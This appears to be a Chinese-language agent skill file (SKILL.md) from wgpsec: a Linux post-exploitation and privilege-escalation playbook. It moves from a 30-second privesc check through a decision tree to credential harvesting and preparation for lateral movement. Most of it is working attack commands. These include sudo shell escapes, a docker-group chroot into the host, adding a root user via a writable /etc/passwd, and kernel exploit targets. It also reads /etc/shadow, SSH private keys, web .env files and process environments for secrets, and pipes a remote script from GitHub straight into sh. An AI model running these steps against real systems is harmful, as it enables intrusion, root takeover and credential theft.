wgpsec Linux 后渗透 & 提权方法论
获取 shell 后的完整行动路线：信息收集 → 提权 → 凭据收集 → 敏感数据 → 横向准备。
⛔ 深入参考
内容按需加载——SKILL.md 给你决策树和快速命令，references 给你完整 payload：
- sudo/SUID/Capabilities/Cron 劫持的全部利用命令、GTFOBins 速查、环境变量劫持、sudo CVE → references/privesc-techniques.md
- Docker/LXD 组提权、NFS、内核漏洞（PwnKit/DirtyPipe/DirtyCow）、snap-confine 提权（CVE-2026-3888）、可写文件、进程凭据 → references/advanced-privesc.md
- 凭据收集完整路径（配置文件/历史记录/SSH 密钥/数据库/进程内存） → references/credential-harvest.md
Phase 0: 30 秒快速提权判断
刚拿到 shell 时跑这几条命令，快速判断有没有"秒提"的机会：
id && sudo -l 2>/dev/null # 身份 + sudo 权限（80% 的提权从这里开始）
find / -perm -4000 -type f 2>/dev/null | head -20 # SUID 文件
getcap -r / 2>/dev/null # Capabilities
ls -la /etc/passwd /etc/shadow 2>/dev/null # 文件权限
秒提信号：
sudo -l有NOPASSWD条目 → 大概率能提（查 GTFOBins）- 非标准 SUID 文件（不是 ping/su/sudo/mount 那些） → 很可能可利用
/etc/passwd可写 → 直接添加 root 用户
如果这里没有明显突破口，继续 Phase 1 做完整信息收集。
Phase 1: 系统信息收集
# 身份与权限
id && whoami
uname -a && cat /etc/os-release # 内核版本 + 发行版（匹配内核漏洞用）
# 网络
ip addr && ip route && ss -tlnp # 接口、路由、监听端口
cat /etc/resolv.conf && arp -a && cat /etc/hosts
# 进程与环境
ps aux # 看有没有 root 运行的有趣进程
env | grep -iE 'pass|key|secret|token' # 环境变量泄露
关键判断：
- 多网卡 = 可能是跳板（双网段 pivot）
- DNS 指向内网 IP = 域环境
- ARP 表大 = 活跃网段，值得扫描
- root 进程的命令行可能暴露密码/路径
Phase 2: 提权决策树（按成功率排序）
当前权限？
├─ 已是 root → 跳到 Phase 3 凭据收集
└─ 非 root → 按顺序检查：
│
├─ 1. sudo -l
│ ├─ (ALL) NOPASSWD: ALL → sudo su（直接 root）
│ ├─ 特定命令 → GTFOBins 查提权方法
│ ├─ env_keep+=LD_PRELOAD → 共享库注入提权
│ └─ 无 sudo → 下一步
│
├─ 2. SUID 文件
│ find / -perm -4000 -type f 2>/dev/null
│ ├─ 非标准 SUID → GTFOBins / strings 分析 / PATH 劫持
│ └─ pkexec → PwnKit (CVE-2021-4034)
│
├─ 3. Capabilities
│ getcap -r / 2>/dev/null
│ └─ cap_setuid → python3/perl 提权
│ └─ cap_dac_read_search → 读 /etc/shadow
│
├─ 4. Cron 任务
│ cat /etc/crontab && ls -la /etc/cron.d/
│ ├─ root cron 执行可写脚本 → 替换脚本内容
│ ├─ cron PATH 有你可写的目录 → 同名脚本劫持
│ └─ cron 使用通配符（tar *）→ 参数注入
│
├─ 5. 可写文件/目录
│ ├─ /etc/passwd 可写 → 添加 root 用户
│ ├─ /etc/shadow 可读 → john/hashcat 破解
│ ├─ systemd .service 可写 → 改 ExecStart
│ └─ root 进程的库/配置可写 → 劫持
│
├─ 6. 特殊组
│ ├─ docker 组 → docker run -v /:/host alpine chroot /host bash
│ ├─ lxd/lxc 组 → 容器逃逸挂载宿主机
│ ├─ disk 组 → debugfs 读任意文件
│ └─ adm 组 → 读日志找凭据
│
├─ 7. NFS
│ cat /etc/exports → no_root_squash → 远程写 SUID 文件
│
└─ 8. 内核漏洞（最后手段，有崩溃风险）
uname -r → 匹配 CVE
PwnKit(所有pkexec) | DirtyPipe(5.8-5.16) | DirtyCow(2.6-4.8) | OverlayFS(Ubuntu)
snap-confine+tmpfiles(Ubuntu>=24.04, CVE-2026-3888, 需等10-30天)
→ 各步骤的完整利用命令 → references/privesc-techniques.md + references/advanced-privesc.md
sudo 提权 Top 10 速查
| 命令 | 提权方法 |
|---|---|
| vim/vi | :!/bin/bash |
| find | find / -exec /bin/bash \; |
| python3 | import os; os.system("/bin/bash") |
| awk | awk 'BEGIN {system("/bin/bash")}' |
| env | env /bin/bash |
| less/more | !/bin/bash |
| tar | --checkpoint-action=exec=/bin/bash |
| nmap | --interactive → !sh（旧版）/ --script |
| bash/sh | 直接 sudo bash |
| systemctl/journalctl | 进入 pager → !/bin/bash |
完整列表查 GTFOBins
自动化枚举
手动检查完没发现明显路径时，上自动化工具扫一遍——它们会检查更多边缘情况：
# LinPEAS（最全面，推荐）
curl -fsSL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
./linenum.sh -t
# linux-exploit-suggester（内核漏洞匹配）
./linux-exploit-suggester.sh
投递工具到目标的方法 → 加载 tool-delivery 技能
Phase 3: 凭据收集
提权成功后（或即使没提权），尽可能收集凭据——这些凭据在横向移动中价值极大：
# Web 应用配置（数据库密码、API Key）
cat /var/www/html/config.php /var/www/html/.env /var/www/html/wp-config.php 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
# 历史记录（人类经常在命令行敲密码）
cat ~/.bash_history ~/.mysql_history ~/.python_history 2>/dev/null | grep -iE 'pass|secret|key'
# SSH 密钥（横向移动的金钥匙）
cat ~/.ssh/id_rsa 2>/dev/null
ls -la /home/*/.ssh/
# 数据库凭据
cat /etc/mysql/debian.cnf 2>/dev/null
# 进程/环境中的凭据
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|key|secret|token'
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -iE 'pass|pwd'
→ 更多凭据位置 → references/credential-harvest.md
Phase 4: 敏感数据搜索
# Flag（CTF/靶场）
find / -name "flag*" -o -name "proof*" 2>/dev/null
cat /root/flag.txt /home/*/flag.txt 2>/dev/null
# 备份/数据库/密钥文件
find / \( -name "*.bak" -o -name "*.sql" -o -name "*.key" -o -name "*.pem" \) 2>/dev/null
Phase 5: 横向移动准备
ip route && arp -a && cat /etc/hosts # 发现其他网段和主机
cat ~/.ssh/known_hosts 2>/dev/null # SSH 连接过哪些机器
收集到的凭据 + 发现的网段 → 加载 internal-recon 技能做内网扫描 → 加载 lateral-movement 技能做横向移动